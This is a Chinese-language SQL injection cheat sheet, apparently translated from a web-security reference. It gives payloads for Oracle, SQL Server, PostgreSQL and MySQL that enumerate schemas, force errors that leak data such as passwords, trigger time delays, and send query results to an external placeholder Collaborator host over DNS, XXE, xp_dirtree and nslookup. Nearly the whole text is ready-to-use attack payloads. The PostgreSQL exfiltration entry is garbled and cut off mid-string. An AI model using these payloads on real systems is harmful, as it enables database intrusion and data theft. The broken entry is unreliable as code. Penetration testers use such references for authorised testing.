技巧归纳 | 7分钟
SQL注入速查表
二月 22, 2025
SQL注入 Oracle PostgreSQL MySQL Microsoft

此SQL注入速查表包含一些有用语法的示例,您可以使用这些示例执行SQL注入攻击时经常出现的各种任务。

字符串连接

您可以将多个字符串连接在一起以形成单个字符串。

Oracle'foo'||'bar'
Microsoft'foo'+'bar'
PostgreSQL'foo'||'bar'
MySQL'foo' 'bar'[注意字符串之间的空格]
CONCAT ('foo','bar')

子串

可以从指定的偏移量和指定的长度提取字符串的一部分。注意,偏移索引是从1开始的。下面的每个表达式都将返回字符串ba

Oracle简介SUBSTR('foobar', 4, 2)
MicrosoftSUBSTRING('foobar', 4, 2)
PostgreSQLSUBSTRING('foobar', 4, 2)
MySQLSUBSTRING('foobar', 4, 2)

注释

您可以使用注释来截断查询并删除原始查询中跟在输入之后的部分。

Oracle简介--comment
Microsoft--comment/*comment*/
PostgreSQL--comment/*comment*/
MySQL#评论 -- comment[注意双破折号后的空格] /*comment*/

数据库版本

您可以查询数据库以确定其类型和版本。在制定更复杂的攻击时,此信息非常有用。

Oracle简介SELECT banner FROM v$versionSELECT version FROM v$instance
MicrosoftSELECT @@version
PostgreSQLSELECT version()
MySQLSELECT @@version

数据库内容

可以列出数据库中存在的表以及这些表包含的列。

Oracle简介SELECT * FROM all_tablesSELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
MicrosoftSELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQLSELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQLSELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

条件错误

您可以测试单个布尔条件,如果条件为真,则触发数据库错误。

Oracle简介SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
MicrosoftSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)
MySQLSELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

通过可见的错误消息提取数据

您可能会引发泄漏恶意查询返回的敏感数据的错误消息。

MicrosoftSELECT 'foo' WHERE 1 = (SELECT 'secret') > Conversion failed when converting the varchar value 'secret' to data type int.
PostgreSQLSELECT CAST((SELECT password FROM users LIMIT 1) AS int) > invalid input syntax for integer: "secret"
MySQLSELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret'))) > XPATH syntax error: '\secret'

批处理(或堆叠)查询

可以使用批处理查询连续执行多个查询。请注意,在执行后续查询时,不会将结果返回给应用程序。因此,这种技术主要用于与盲漏洞相关的漏洞,您可以使用第二个查询来触发DNS查找,条件错误或时间延迟。

Oracle简介Does not support batched queries.
MicrosoftQUERY-1-HERE; QUERY-2-HEREQUERY-1-HERE QUERY-2-HERE
PostgreSQLQUERY-1-HERE; QUERY-2-HERE
MySQLQUERY-1-HERE; QUERY-2-HERE
注意

对于MySQL,批处理查询通常不能用于SQL注入。但是,如果目标应用程序使用某些PHP或Python API与MySQL数据库进行通信,则有时可能会出现这种情况。

时间延迟

处理查询时,可能会导致数据库中出现时间延迟。以下内容将导致10秒的无条件时间延迟。

Oracle简介dbms_pipe.receive_message(('a'),10)
MicrosoftWAITFOR DELAY '0:0:10'
PostgreSQLSELECT pg_sleep(10)
MySQLSELECT SLEEP(10)

条件时滞

您可以测试单个布尔条件,如果条件为真,则触发时间延迟。

Oracle简介SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
MicrosoftIF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQLSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQLSELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')

DNS查找

您可以使数据库对外部域执行DNS查找。为此,您需要使用Burp Collaborator生成一个将用于攻击的唯一Burp Collaborator子域,然后轮询Collaborator服务器以确认发生了DNS查找。

Oracle简介(XXE)触发DNS查找的漏洞。该漏洞已被修补,但存在许多未修补的Oracle安装:SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual以下技术适用于完全修补的Oracle安装,但需要提升的权限:SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
Microsoftexec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
PostgreSQLcopy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
MySQL以下技术仅适用于Windows:LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a') SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

DNS查找与数据泄漏

您可以使数据库对包含插入查询结果的外部域执行DNS查找。为此,您需要使用Burp Collaborator生成一个用于攻击的唯一Burp Collaborator子域,然后轮询Collaborator服务器以检索任何DNS交互的详细信息,包括泄露的数据。

Oracle简介SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
Microsoftdeclare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')
PostgreSQL`create OR replace function f() returns void as $$declare c text;declare p text;beginSELECT into p (SELECT YOUR-QUERY-HERE);c := ‘copy (SELECT ‘’’’) to program ‘’nslookup '
MySQLThe following technique works on Windows only: SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'